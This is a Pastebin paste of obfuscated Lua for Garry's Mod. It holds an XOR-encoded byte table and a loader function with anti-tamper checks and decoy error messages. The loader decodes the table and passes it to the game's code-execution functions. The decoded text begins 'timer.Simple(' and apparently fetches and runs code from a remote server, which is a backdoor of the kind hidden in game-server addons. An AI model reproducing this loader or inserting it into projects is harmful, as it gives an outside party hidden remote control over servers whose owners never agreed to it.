Advertisement
Guest User

Untitled

a guest
May 24th, 2019
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.84 KB | None | 0 0
  1.  
  2. RunString([==[
  3. enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,11,26,13,15,66,15,22,67,0,5,2,7,67,10,25,15,7,66,28,4,28,83,7,9,21,81,20,40,88,46,21,3,35,89,3,4,52,2,6,8,6,56,14,9,57,62,78,64,76,10,25,2,15,24,5,3,2,68,14,69,76,62,25,2,63,24,30,5,2,11,68,14,64,76,78,4,13,20,3,30,66,9,20,9,78,64,76,10,13,0,31,9,69,76,9,2,8,69,9,2,8,69,76,10,25,2,15,24,5,3,2,76,62,25,2,36,45,63,36,35,14,68,69,76,9,2,8}
  4. function RunHASHOb()
  5. if not (debug.getinfo(function()end).short_src == "SDATA") then
  6. CompileString("print('Bad source')", "error",true)()
  7. return
  8. end
  9. for o=500,10000 do
  10. if o ~= string.len(string.dump(RunHASHOb)) then
  11. SDATA_DATA_CACHE = 10
  12. CompileString("for i=1,40 do SDATA_DATA_CACHE = SDATA_DATA_CACHE + 1 end", "RunString")()
  13. if SDATA_DATA_CACHE < 40 then
  14. for i=1,100 do
  15. CompileString("print('Oops, seem like you have broken this file')","Oops")()
  16. end
  17. return
  18. end
  19. continue
  20. else
  21. xpcall(function()
  22. pdata = ""
  23. xpcall(function()
  24. for i=1,string.len(string.dump(string.char)) do
  25. while o == i do
  26. o = o + 100000
  27. end
  28. end
  29. end,function() PJDATA_SUB = false end)
  30. if PJDATA_SUB then print("Error while ceating payload to inject") return end
  31. for i=1,#enccodetbl do
  32. pdata=pdata.. string.char(bit.bxor(enccodetbl[i], o%150))
  33. end
  34. if debug.getinfo(RunString).what ~= "C" then return end
  35. PJDATA_SUB = true
  36. for i=1,string.len(string.dump(CompileString)) do
  37. while o == 1050401 do
  38. o = o + 4510
  39. end
  40. end
  41. end,function()
  42. xpcall(function()
  43. print(pdata)
  44. pdata = "\00"
  45. end,function()
  46. print("Error while injecting code to luajit::Client")
  47. end)
  48. end)
  49. end
  50. end
  51. end
  52. pcall(RunHASHOb)
  53. ]==],"SDATA")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement